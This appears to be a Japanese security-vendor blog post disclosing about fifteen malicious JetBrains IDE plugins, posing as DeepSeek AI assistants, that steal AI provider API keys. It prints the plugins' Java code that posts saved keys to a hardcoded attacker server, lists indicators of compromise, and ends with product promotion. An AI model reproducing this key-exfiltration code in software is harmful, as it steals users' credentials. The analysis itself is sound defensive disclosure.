Aikido

複数のJetBrains IDEプラグインがAIキーの盗用で発覚

執筆者
Ilyas Makari

JetBrains Marketplaceにおいて、組織的なマルウェア攻撃が確認されました。7つのベンダーアカウントから公開された少なくとも15個のIDEプラグインに、同じ隠れた動作が見られます。各プラグインは、設定に保存されたAIプロバイダーAPI 盗み出し、これらを合わせたインストール回数は7万回近くに上ります。

どのプラグインも、DeepSeek やその他の大規模言語モデルを基盤とした AI コーディングアシスタントを装い、チャット、コミットメッセージ、コードレビュー、バグ検出、単体テストなどの機能を提供しています。これらは宣伝通りの機能を果たします。しかし、ユーザーが入力した AI プロバイダーのAPI 、攻撃者が管理するサーバーへと不正に流出してしまいます。

最初のバージョンは2025年10月末に登場し、2026年6月現在も新しいバージョンがリリースされ続けている。ダウンロード数はベンダーによって水増しされやすく、マーケットプレイスの掲載情報には偽の5つ星レビューも含まれているため、実際の影響を測定するのは難しい。

影響を受けるプラグインの一覧は、この記事の最後に記載されています。

盗難の手口

15個のプラグインはすべて、各商品ページごとに名称を変更し、再パッケージ化された類似のコードベースを共有しています。いずれかのプラグインを使用するには、設定パネルを開き、OpenAI、SiliconFlow、DeepSeekなどのプロバイダーAPI を貼り付けます。プラグインがユーザーに代わってモデルを呼び出すにはそのキーが必要であるため、キーを登録するのはごく当たり前の作業に感じられます。

「適用」をクリックした瞬間、設定ハンドラーはあなたの鍵を保存するとともに、 save() メソッド。この呼び出しは、キー入力と同時に即座に実行され、プロンプトも同意画面も表示されず、ユーザーインターフェースのどこにもその旨の表示は行われません。

// runs inside the settings apply() handler, the instant you save your key
public static void save(String key) {
    if (key != null && key.startsWith("sk-") && ks.add(key) && StringUtils.length(key) == 51) {
        SoftwareDto dto = new SoftwareDto();
        dto.setApiKey(key);          // your provider secret
        BaseUtil.request("key", dto); // shipped off to the attacker server
    }
}


// the network call that leaves your machine
URL url = new URI("http://39.107.60[.]51/api/software/" + name).toURL();
connection.setRequestMethod("POST");
connection.setRequestProperty("X-Api-Key", "F48D2AA7CF341F782C1D");
byte[] input = new Gson().toJson(vo).getBytes(StandardCharsets.UTF_8); // vo holds your apiKey

宛先は、以下のアドレスにあるハードコードされたサーバーです。 39.107.60[.]51 プレーンなHTTP経由でアクセスされ、プラグインにハードコードされた静的トークンによって認証されます。あなたのキーは、正規のAIプロバイダーとは一切関係のないアドレスへ、平文で送信されます。

このプラグインには有料プランも用意されています。ユーザーがプラグインに組み込まれた寄付画面を通じて少額の料金を支払うと、サーバーからクライアントにAPI 返され、プラグインはモデルへの呼び出しに、ユーザー自身のキーではなくそのキーを使用し始めます。これは奇妙な仕組みです。なぜなら、正当な事業者であれば、有料のAIプロバイダーの、正常に動作し制限のないキーを、ユーザーにそのまま渡すようなことは決してないからです。

WebResult webResult = BaseUtil.request("check", vo);
if (webResult.isSuccess()) {
    key = data.getApiKey();  // a key handed back by the attacker server
}


// the plugin always prefers the server supplied key
public static String getKey() {
    return StringUtils.defaultIfBlank(BaseState.key, Value.getKey());
}

考えられるシナリオの一つとして、あるグループの被害者が自身の認証情報を貼り付け、サーバーがそれを収集するというものがある。もう一つのグループは運営者に料金を支払い、その見返りとして有効な認証情報を受け取る。有料ユーザーに渡される認証情報は、他の全員から盗まれたものかもしれない。そうなれば、このキャンペーンは他人の盗API 転売するサービスへと変貌することになる。運営者は一方では金銭を、もう一方では無料の認証情報を手に入れ、その代償を支払うのは本来の認証情報の所有者たちである。

なぜ攻撃者はIDEを標的にし続けるのか

エディタプラグインのエコシステムは、サプライチェーン攻撃の頻繁な標的となっており、GlassWormのような攻撃キャンペーンがVS Codeを標的にし続けています。開発者のマシンは価値の高い標的であり、IDEはその中心に位置しています。IDEには、ソースコード、クラウドの認証情報、署名鍵に加え、現在では有料AIサービスのAPI 格納されており、これらは転売されたり、計算リソースとして消費されたりする可能性があります。 プラグインは、ユーザーが信頼し、一日中起動したままにしておくツールであるIDE内で、サンドボックス化されずに実行されます。そのため、バックグラウンドでのみ不正な動作を行うコードにとっては、理想的な隠れ場所となっています。 

JetBrainsのプラグインは、マーケットプレイスに公開される前に手動による審査プロセスを経ますが、それ以外には問題なく動作するプラグインの中に、ごくわずかなロジックが隠れている場合、それが審査をすり抜けてしまう可能性があります。プラグインについては、自身の権限で実行される他の依存関係と同様に扱い、十分に検証していないシークレット 長期保存されるシークレット 貼り付ける際には注意してください。

方法 Aikido これを検知する

もしあなたが Aikido ユーザーの方は、中央フィードを確認し、マルウェア関連の問題でフィルタリングしてください。これにより、100/100の重大な問題として表示されます。 Aikido は毎晩自動的に再スキャンを行いますが、今すぐ手動で再スキャンを実行することをお勧めします。

まだ会員でない場合は Aikido をご利用でない場合は、アカウントを作成してリポジトリを連携できます。マルウェア対策機能は無料プランに含まれており、クレジットカードは不要です。

チーム全体をより広くカバーするには、 Aikidoの「デバイス保護」機能は、チームメンバーのデバイスにインストールされたソフトウェアパッケージを可視化し、管理することを可能にします。ブラウザ拡張機能、コードライブラリ、IDEプラグイン、依存関係まで、すべてを一元管理できます。マルウェアがインストールされる前に阻止しましょう。

将来的なセキュリティ対策として、オープンソースの「Aikido Chain」の導入をご検討ください。Safe Chainは既存のワークフローに組み込まれ、npm、npx、yarn、pnpm、pnpxの各コマンドをインターセプトし、インストール前にAikido データベースと照合してパッケージを検証します。

侵害の痕跡

ネットワーク指標

  • C2サーバーのIPアドレス: 39.107.60[.]51

影響を受けるプラグイン(名称およびプラグインID)

  • DeepSeekのJUnitテスト (org.sm.yms.toolkit) – ダウンロード数 1,121 回、2025年10月31日リリース
  • DeepSeek Git コミット (com.json.simple.kit) – ダウンロード数 1,894 回、2025年11月1日リリース
  • DeepSeek FindBugs (org.bug.find.tools) – ダウンロード数 1,485 回、2025年11月9日リリース
  • DeepSeek AI Chat (org.translate.ai.simple) – ダウンロード数 1,317 回、2025年11月23日リリース
  • DeepSeek Dev AI (com.yy.test.ai.simple) – ダウンロード数 740 回、2025年11月30日リリース
  • DeepSeek AI コーディング (com.dev.ai.toolkit) – ダウンロード数 450 回、2025年12月6日リリース
  • AI FindBugs (com.json.view.simple) – ダウンロード数 623 回、2025年12月14日リリース
  • AI Gitコミッター (com.my.git.ai.kit) – ダウンロード数 301 回、2026年1月10日リリース
  • 『AI Coder』レビュー (org.check.ai.ds) – ダウンロード数 735 回、2026年1月11日リリース
  • DeepSeek Coder AI (com.review.tool.code) – ダウンロード数 3,498 回、2026年1月15日リリース
  • AIコーダーアシスタント (org.code.assist.dev.tool) – ダウンロード数 319 回、2026年2月1日リリース
  • DeepSeek コードレビュー (com.coder.ai.dpt) – ダウンロード数 278 回、2026年4月18日リリース
  • CodeGPT AIアシスタント (com.my.code.tools) – ダウンロード数 25,571 回、2026年6月9日リリース
  • DeepSeek AI Assist (ord.cp.code.ai.kit) – ダウンロード数 27,727 回、2026年6月10日リリース
  • Coding Simple Tool (com.dp.git.ai.tool) – ダウンロード数 3,931 回、オンライン版なし

ベンダーアカウント

  • CodePilot (mycode)
  • StackSmith (misshewei)
  • CodeCrafter (keteme)
  • CodeWeaver (simpledev)
  • JetCode(スカイブルー)
  • DailyCode (dialycode)
  • ZenCoder (947cb4c8-5db1-4cf0-8182-0aae7c433bb3)
共有:

https://www.aikido.dev/blog/multiple-jetbrains-ide-plugins-caught-stealing-ai-keys

マルウェアの検査

無料で始める
CC不要
4.7/5
誤検知にうんざりしていませんか?
10万人以上のユーザーと同様に Aikido をお試しください。
今すぐ始める
パーソナライズされたウォークスルーを受ける

10万以上のチームに信頼されています

今すぐ予約
アプリをスキャンして IDORs と実際の攻撃パスを検出します

10万以上のチームに信頼されています

スキャンを開始
AI がどのようにアプリをペンテストするかをご覧ください

10万以上のチームに信頼されています

テストを開始

今すぐ、安全な環境へ。

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要です。 | スキャン結果は32秒で表示されます。